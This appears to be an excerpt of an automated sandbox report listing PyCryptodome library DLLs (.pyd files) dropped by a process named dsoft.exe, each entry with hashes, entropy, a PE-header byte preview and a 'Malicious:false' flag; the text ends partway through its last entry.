                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):13824
                                                                                                                                                                                                                                        Entropy (8bit):5.137646874307781
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:QF/1nb2eqCQtZl9k9VEmosHcBZTHGF31trDbu8oiZmtwcqgk+9TI:q2PXlG9VDos8BZA33rDbuNgk0gk+9U
                                                                                                                                                                                                                                        MD5:1DFC771325DD625DE5A72E0949D90E5F
                                                                                                                                                                                                                                        SHA1:8E1F39AAFD403EDA1E5CD39D5496B9FAA3387B52
                                                                                                                                                                                                                                        SHA-256:13F9ADBBD60D7D80ACEE80D8FFB461D7665C5744F8FF917D06893AA6A4E25E3A
                                                                                                                                                                                                                                        SHA-512:B678FB4AD6DF5F8465A80BFB9A2B0433CF6CFAD4C6A69EEBF951F3C4018FD09CB7F38B752BE5AB55C4BE6C88722F70521D22CBCBBB47F8C46DDB0B1ACBFD7D7E
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\Y..2...2...2......2.i.3...2...3...2...3...2.i.7...2.i.6...2.i.1...2...:...2...2...2.......2...0...2.Rich..2.........PE..d...}y.e.........." ...#..... ......P.....................................................`..........................................9.......:..d....`.......P...............p..,....4..............................P3..@............0...............................text...X........................... ..`.rdata.......0......................@..@.data...8....@.......,..............@....pdata.......P......................@..@.rsrc........`.......2..............@..@.reloc..,....p.......4..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_SHA1.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):17920
                                                                                                                                                                                                                                        Entropy (8bit):5.687377356938656
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:bPHdP3MjeQTh+QAZUUw8lMF6D+1tgj+kf4:xPcKQT3iw8lfDUej+
                                                                                                                                                                                                                                        MD5:9D15862569E033C5AA702F9E4041C928
                                                                                                                                                                                                                                        SHA1:11376E8CB76AD2D9A7D48D11F4A74FB12B78BCF6
                                                                                                                                                                                                                                        SHA-256:8970DF77D2F73350360DBE68F937E0523689FF3D7C0BE95EB7CA5820701F1493
                                                                                                                                                                                                                                        SHA-512:322F0F4947C9D5D2800DEEBFD198EABE730D44209C1B61BB9FD0F7F9ED5F719AE49F8397F7920BDB368BB386A598E9B215502DC46FBE72F9340876CF40AFFC8A
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<Y..R...R...R......R.i.S...R...S...R...S...R.i.W...R.i.V...R.i.Q...R...Z...R...R...R.......R...P...R.Rich..R.................PE..d...sy.e.........." ...#.*..........P.....................................................`..........................................H.......I..d....p.......`..X...............,....C...............................A..@............@...............................text....).......*.................. ..`.rdata.......@......................@..@.data........P.......<..............@....pdata..X....`.......>..............@..@.rsrc........p.......B..............@..@.reloc..,............D..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_SHA224.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):21504
                                                                                                                                                                                                                                        Entropy (8bit):5.9200472722347675
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:pljwGpJpvrp/LTaqvYHp5RYcARQOj4MSTjqgPmJDcOwwgjxo:Ljw4JbZYtswvqDc51j
                                                                                                                                                                                                                                        MD5:7398EFD589FBE4FEFADE15B52632CD5C
                                                                                                                                                                                                                                        SHA1:5EA575056718D3EC9F57D3CFF4DF87D77D410A4B
                                                                                                                                                                                                                                        SHA-256:F1970DB1DA66EFB4CD8E065C40C888EED795685FF4E5A6FA58CA56A840FE5B80
                                                                                                                                                                                                                                        SHA-512:C26F6FF693782C84460535EBCD35F23AA3C95FB8C0C8A608FB9A849B0EFD735EF45125397549C61248AE06BD068554D2DE05F9A3BA64F363438EDB92DA59481B
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<Y..R...R...R......R.i.S...R...S...R...S...R.i.W...R.i.V...R.i.Q...R...Z...R...R...R.......R...P...R.Rich..R.................PE..d...wy.e.........." ...#.6... ......P.....................................................`..........................................Z.......[..d............p..................,... T...............................R..@............P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data........`.......J..............@....pdata.......p.......L..............@..@.rsrc................P..............@..@.reloc..,............R..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_SHA256.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):21504
                                                                                                                                                                                                                                        Entropy (8bit):5.922439979230845
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:jljwGpJpvrp/LtaqvYHp5RYcARQOj4MSTjqgPmJDcbegjxo:hjw4JVZYtswvqDcb7j
                                                                                                                                                                                                                                        MD5:352F56E35D58ABE96D6F5DBBD40D1FEA
                                                                                                                                                                                                                                        SHA1:5F0C9596B84B8A54D855441C6253303D0C81AA1B
                                                                                                                                                                                                                                        SHA-256:44EED167431151E53A8F119466036F1D60773DDEB8350AF972C82B3789D5D397
                                                                                                                                                                                                                                        SHA-512:CB4862B62ABB780656F1A06DADD3F80AEA453E226C38EFAE4318812928A7B0B6A3A8A86FCC43F65354B84FC07C7235FF384B75C2244553052E00DC85699D422A
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<Y..R...R...R......R.i.S...R...S...R...S...R.i.W...R.i.V...R.i.Q...R...Z...R...R...R.......R...P...R.Rich..R.................PE..d...uy.e.........." ...#.6... ......P.....................................................`..........................................Z.......[..d............p..................,... T...............................R..@............P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data........`.......J..............@....pdata.......p.......L..............@..@.rsrc................P..............@..@.reloc..,............R..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_SHA384.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):26624
                                                                                                                                                                                                                                        Entropy (8bit):5.879121462749493
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:768:pDLZ9BjjBui0gel9soFdkO66MlPGXmXcnRDbRj:VBfu/FZ6nPxMRDtj
                                                                                                                                                                                                                                        MD5:3C47F387A68629C11C871514962342C1
                                                                                                                                                                                                                                        SHA1:EA3E508A8FB2D3816C80CD54CDD9C8254809DB00
                                                                                                                                                                                                                                        SHA-256:EA8A361B060EB648C987ECAF453AE25034DBEA3D760DC0805B705AC9AA1C7DD9
                                                                                                                                                                                                                                        SHA-512:5C824E4C0E2AB13923DC8330D920DCD890A9B33331D97996BC1C3B73973DF7324FFFB6E940FA5AA92D6B23A0E6971532F3DB4BF899A9DF33CC0DD6CB1AC959DD
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<Y..R...R...R......R.i.S...R...S...R...S...R.i.W...R.i.V...R.i.Q...R...Z...R...R...R.......R...P...R.Rich..R.................PE..d...zy.e.........." ...#.H..."......P.....................................................`......................................... l.......m..d...............................,....e...............................d..@............`...............................text...HG.......H.................. ..`.rdata..X....`.......L..............@..@.data................^..............@....pdata...............`..............@..@.rsrc................d..............@..@.reloc..,............f..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_SHA512.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):26624
                                                                                                                                                                                                                                        Entropy (8bit):5.937696428849242
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:768:VYL59Ugjaui0gel9soFdkO66MlPGXmXcXVDuSFAj:60xu/FZ6nPxMlD7Kj
                                                                                                                                                                                                                                        MD5:2F44F1B760EE24C89C13D9E8A06EA124
                                                                                                                                                                                                                                        SHA1:CF8E16D8324A7823B11474211BD7B95ADB321448
                                                                                                                                                                                                                                        SHA-256:7C7B6F59DD250BD0F8CBC5AF5BB2DB9F9E1A2A56BE6442464576CD578F0B2AE0
                                                                                                                                                                                                                                        SHA-512:2AACB2BB6A9EBA89549BF864DDA56A71F3B3FFEDB8F2B7EF3FC552AB3D42BC4B832F5FA0BA87C59F0F899EA9716872198680275A70F3C973D44CA7711DB44A14
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<Y..R...R...R......R.i.S...R...S...R...S...R.i.W...R.i.V...R.i.Q...R...Z...R...R...R.......R...P...R.Rich..R.................PE..d...|y.e.........." ...#.H..."......P.....................................................`..........................................l.......m..d...............................,...@f...............................e..@............`...............................text....G.......H.................. ..`.rdata.......`.......L..............@..@.data................^..............@....pdata...............`..............@..@.rsrc................d..............@..@.reloc..,............f..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_ghash_clmul.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):12800
                                                                                                                                                                                                                                        Entropy (8bit):5.027823764756571
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:/RF/1nb2eqCQtkbsAT2fixSrdYDt8ymjcqgQvEW:/d2P6bsK4H+DVwgQvEW
                                                                                                                                                                                                                                        MD5:64604EE3AEBEE62168F837A41BA61DB1
                                                                                                                                                                                                                                        SHA1:4D3FF7AC183BC28B89117240ED1F6D7A7D10AEF1
                                                                                                                                                                                                                                        SHA-256:20C3CC2F50B51397ACDCD461EE24F0326982F2DC0E0A1A71F0FBB2CF973BBEB2
                                                                                                                                                                                                                                        SHA-512:D03EEFF438AFB57E8B921CE080772DF485644DED1074F3D0AC12D3EBB1D6916BD6282E0E971408E89127FF1DAD1D0CB1D214D7B549D686193068DEA137A250CE
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........."...L...L...L......L.q.M...L..M...L...M...L.q.I...L.q.H...L.q.O...L...D...L...L...L.......L...N...L.Rich..L.........PE..d....y.e.........." ...#............P.....................................................`..........................................8......89..d....`.......P...............p..,....3...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...8....@.......(..............@....pdata.......P.......*..............@..@.rsrc........`......................@..@.reloc..,....p.......0..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_ghash_portable.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):13312
                                                                                                                                                                                                                                        Entropy (8bit):5.020783935465456
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:+F/1nb2eqCQtks0iiNqdF4mtPjD0ZA5LPYcqgYvEL2x:02P6fFA/4GjDXcgYvEL2x
                                                                                                                                                                                                                                        MD5:E0EEDBAE588EE4EA1B3B3A59D2ED715A
                                                                                                                                                                                                                                        SHA1:4629B04E585899A7DCB4298138891A98C7F93D0B
                                                                                                                                                                                                                                        SHA-256:F507859F15A1E06A0F21E2A7B060D78491A9219A6A499472AA84176797F9DB02
                                                                                                                                                                                                                                        SHA-512:9FD82784C7E06F00257D387F96E732CE4A4BD065F9EC5B023265396D58051BECC2D129ABDE24D05276D5CD8447B7DED394A02C7B71035CED27CBF094ED82547D
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\Y..2...2...2......2.i.3...2...3...2...3...2.i.7...2.i.6...2.i.1...2...:...2...2...2.......2...0...2.Rich..2.........PE..d....y.e.........." ...#............P.....................................................`..........................................8......h9..d....`.......P..X............p..,....2...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...8....@.......*..............@....pdata..X....P.......,..............@..@.rsrc........`.......0..............@..@.reloc..,....p.......2..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_keccak.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):15872
                                                                                                                                                                                                                                        Entropy (8bit):5.2616188776014665
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:JP2T9FRjRskTdf4YBU7YP5yUYDE1give:qHlRl57IC8UYDEG
                                                                                                                                                                                                                                        MD5:1708C4D1B28C303DA19480AF3C6D04FF
                                                                                                                                                                                                                                        SHA1:BAC78207EFAA6D838A8684117E76FB871BD423D5
                                                                                                                                                                                                                                        SHA-256:C90FB9F28AD4E7DEED774597B12AA7785F01DC4458076BE514930BF7AB0D15EC
                                                                                                                                                                                                                                        SHA-512:2A174C1CB712E8B394CBEE20C33974AA277E09631701C80864B8935680F8A4570FD040EA6F59AD71631D421183B329B85C749F0977AEB9DE339DFABE7C23762E
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<Y..R...R...R......R.i.S...R...S...R...S...R.i.W...R.i.V...R.i.Q...R...Z...R...R...R.......R...P...R.Rich..R.................PE..d...}y.e.........." ...#. ... ......P.....................................................`.........................................`9......T:..d....`.......P..p............p..,....3...............................2..@............0...............................text............ .................. ..`.rdata.......0.......$..............@..@.data........@.......4..............@....pdata..p....P.......6..............@..@.rsrc........`.......:..............@..@.reloc..,....p.......<..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_poly1305.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):15360
                                                                                                                                                                                                                                        Entropy (8bit):5.130670522779765
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:nZNGfqDgvUh43G6coX2SSwmPL4V7wTdDl41Y2cqgWjvE:CFMhuGGF2L4STdDcYWgWjvE
                                                                                                                                                                                                                                        MD5:E08355F3952A748BADCA2DC2E82AA926
                                                                                                                                                                                                                                        SHA1:F24828A3EEFB15A2550D872B5E485E2254C11B48
                                                                                                                                                                                                                                        SHA-256:47C664CB7F738B4791C7D4C21A463E09E9C1AAAE2348E63FB2D13FC3E6E573EB
                                                                                                                                                                                                                                        SHA-512:E7F48A140AFEF5D6F64A4A27D95E25A8D78963BB1F9175B0232D4198D811F6178648280635499C562F398613E0B46D237F7DB74A39B52003D6C8768B80EC6FB6
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<Y..R...R...R......R.i.S...R...S...R...S...R.i.W...R.i.V...R.i.Q...R...Z...R...R...R.......R...P...R.Rich..R.................PE..d....y.e.........." ...#..... ......P.....................................................`......................................... 9.......9..d....`.......P..|............p..,....3...............................1..@............0...............................text...X........................... ..`.rdata..(....0......."..............@..@.data........@.......2..............@....pdata..|....P.......4..............@..@.rsrc........`.......8..............@..@.reloc..,....p.......:..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Math\_modexp.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):34816
                                                                                                                                                                                                                                        Entropy (8bit):5.935249615462395
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:768:gb+5F2hqrxS7yZAEfYcwcSPxpMgLp/GQNSpcVaGZ:gb+5Qwc7OAEfYcwJxpMgFJh
                                                                                                                                                                                                                                        MD5:DB56C985DBC562A60325D5D68D2E5C5B
                                                                                                                                                                                                                                        SHA1:854684CF126A10DE3B1C94FA6BCC018277275452
                                                                                                                                                                                                                                        SHA-256:089585F5322ADF572B938D34892C2B4C9F29B62F21A5CF90F481F1B6752BC59F
                                                                                                                                                                                                                                        SHA-512:274D9E4A200CAF6F60AC43F33AADF29C6853CC1A7E04DF7C8CA3E24A6243351E53F1E5D0207F23B34319DFC8EEE0D48B2821457B8F11B6D6A0DBA1AE820ACE43
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......|..|8k./8k./8k./1.Y/>k./....:k./s...;k./8k./.k./....4k./....0k./....;k./....:k./....9k./..5/9k./....9k./Rich8k./........................PE..d....y.e.........." ...#.\..........`.....................................................`..........................................~..d...$...d...............................,....s...............................q..@............p..(............................text....Z.......\.................. ..`.rdata.......p.......`..............@..@.data................t..............@....pdata...............~..............@..@.rsrc...............................@..@.reloc..,...........................@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Protocol\_scrypt.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):12288
                                                                                                                                                                                                                                        Entropy (8bit):4.799861986912974
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:YTIekCffqPSTMeAk4OeR64ADpki6RcqgO5vE:YTNZMcPeR64ADh63gO5vE
                                                                                                                                                                                                                                        MD5:6229A84562A9B1FBB0C3CF891813AADD
                                                                                                                                                                                                                                        SHA1:4FAFB8AF76A7F858418AA18B812FEACADFA87B45
                                                                                                                                                                                                                                        SHA-256:149027958A821CBC2F0EC8A0384D56908761CC544914CED491989B2AD9D5A4DC
                                                                                                                                                                                                                                        SHA-512:599C33F81B77D094E97944BB0A93DA68D2CCB31E6871CE5679179FB6B9B2CE36A9F838617AC7308F131F8424559C5D1A44631E75D0847F3CC63AB7BB57FE1871
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................?.....q......................q.......q.......q.........................S.............Rich............PE..d....y.e.........." ...#............P.....................................................`..........................................8..d...$9..d....`.......P..4............p..,....3...............................1..@............0...............................text...x........................... ..`.rdata.......0......................@..@.data........@.......&..............@....pdata..4....P.......(..............@..@.rsrc........`.......,..............@..@.reloc..,....p......................@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\PublicKey\_ec_ws.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):754176
                                                                                                                                                                                                                                        Entropy (8bit):7.628627007698131
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:31ETHoxJ8gf1266y8IXhJvCKAmqVLzcrZgYIMGv1iLD9yQvG6h+b:lETHoxJFf1p34hcrn5Go9yQO6g
                                                                                                                                                                                                                                        MD5:BBB83671232E0BE361E812369A463E03
                                                                                                                                                                                                                                        SHA1:A37DAEC475AB230E14897077D17E20B7A5112B8D
                                                                                                                                                                                                                                        SHA-256:873A3E3E945421917BA780D95C78ECCB92D4E143227987D6812BC9F9E4653BE0
                                                                                                                                                                                                                                        SHA-512:BF6718DE5235F6A7C348A1E2F325FEE59C74356D4722DFA99DA36A2BE1E6386C544EEC09190E2EBBA58B7C6B4157D00409C59F29AE2CC7BC13CBC301B8592586
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........O.....L...L...L.V+L...LKR.M...L.V.M...L...L...LKR.M...LKR.M...LKR.M...L-S.M...L-S.M...L-SGL...L-S.M...LRich...L................PE..d....y.e.........." ...#.n..........`.....................................................`..........................................p..d...dq..d...............$...............4...@Z...............................Y..@...............(............................text....m.......n.................. ..`.rdata...............r..............@..@.data...x............h..............@....pdata..$............p..............@..@.rsrc................~..............@..@.reloc..4...........................@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\PublicKey\_ed25519.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):27648
                                                                                                                                                                                                                                        Entropy (8bit):5.799740467345125
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:PvRwir5rOF2MZz1n0/kyTMIl9bhgIW0mvBaeoSzra2pftjGQDdsC0MgkbQ0e1r:PJLtg2MTeM+9dmvBaeoCtaQDekf
                                                                                                                                                                                                                                        MD5:7F2C691DEB4FF86F2F3B19F26C55115C
                                                                                                                                                                                                                                        SHA1:63A9D6FA3B149825EA691F5E9FDF81EEC98224AA
                                                                                                                                                                                                                                        SHA-256:BF9224037CAE862FE220094B6D690BC1992C19A79F7267172C90CBED0198582E
                                                                                                                                                                                                                                        SHA-512:3A51F43BF628E44736859781F7CFF0E0A6081CE7E5BDE2F82B3CDB52D75D0E3DFAE92FC2D5F7D003D0B313F6835DBA2E393A0A8436F9409D92E20B65D3AED7E2
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........Y...............i...................i......i......i......................m...........Rich...........PE..d....y.e.........." ...#.F...(......P.....................................................`..........................................j..0....k..d...............................,...pc..............................0b..@............`...............................text....D.......F.................. ..`.rdata.."....`.......J..............@..@.data................\..............@....pdata...............d..............@..@.rsrc................h..............@..@.reloc..,............j..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\PublicKey\_ed448.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):67072
                                                                                                                                                                                                                                        Entropy (8bit):6.060804942512998
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:1536:HqvnErJyGoqQXZKfp23mXKUULBeCFTUCqHF+PELb7MSAEfnctefBd5:HqvnErJyGoqQXZKfp2ayLsCFTUCqHEP4
                                                                                                                                                                                                                                        MD5:AF46798028AB3ED0E56889DFB593999B
                                                                                                                                                                                                                                        SHA1:D4D7B39A473E69774771B2292FDBF43097CE6015
                                                                                                                                                                                                                                        SHA-256:FD4F1F6306950276A362D2B3D46EDBB38FEABA017EDCA3CD3A2304340EC8DD6C
                                                                                                                                                                                                                                        SHA-512:58A80AFEEAC16D7C35F8063D03A1F71CA6D74F200742CAE4ADB3094CF4B3F2CD1A6B3F30A664BD75AB0AF85802D935B90DD9A1C29BFEA1B837C8C800261C6265
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......|..|8k./8k./8k./1.Y/>k./....:k./s...;k./8k./.k./....4k./....0k./....;k./....:k./....9k./..5/9k./....9k./Rich8k./........................PE..d....y.e.........." ...#.....8......`........................................@............`.............................................h.......d.... .......................0..,.......................................@............................................text............................... ..`.rdata..j...........................@..@.data...............................@....pdata..............................@..@.rsrc........ ......................@..@.reloc..,....0......................@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\PublicKey\_x25519.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):10752
                                                                                                                                                                                                                                        Entropy (8bit):4.488129745837651
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:96:kfuF7pVVdJvbrqTuy/Th/Y0IluLfcC75JiC4cs89EfqADQhDsAbcX6gn/7EC:TF/VddiTHThQTctdErDQDsicqgn/7
                                                                                                                                                                                                                                        MD5:F4B7324A8F7908C3655BE4C75EAC36E7
                                                                                                                                                                                                                                        SHA1:11A30562A85A444F580213417483BE8D4D9264AD
                                                                                                                                                                                                                                        SHA-256:5397E3F5762D15DCD84271F49FC52983ED8F2717B258C7EF370B24977A5D374B
                                                                                                                                                                                                                                        SHA-512:66CA15A9BAD39DD4BE7921A28112A034FFE9CD11F91093318845C269E263804AB22A4AF262182D1C6DAC8741D517362C1D595D9F79C2F729216738C3DD79D7C2
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&4=.bUS.bUS.bUS.k-..`US..)R.`US.)-R.aUS.bUR.FUS..)V.iUS..)W.jUS..)P.aUS.([.cUS.(S.cUS.(..cUS.(Q.cUS.RichbUS.................PE..d....y.e.........." ...#............P........................................p............`..........................................'..P...0(..P....P.......@...............`..,...P#..............................."..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...8....0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......&..............@..@.reloc..,....`.......(..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Util\_cpuid_c.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):10240
                                                                                                                                                                                                                                        Entropy (8bit):4.733990521299615
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:PzVVddiTHThQTctEEaEDKDnMRWJcqgbW6:PzTMdsc+EaEDKDnCWvgbW
                                                                                                                                                                                                                                        MD5:3D566506052018F0556ADF9D499D4336
                                                                                                                                                                                                                                        SHA1:C3112FF145FACF47AF56B6C8DCA67DAE36E614A2
                                                                                                                                                                                                                                        SHA-256:B5899A53BC9D3112B3423C362A7F6278736418A297BF86D32FF3BE6A58D2DEEC
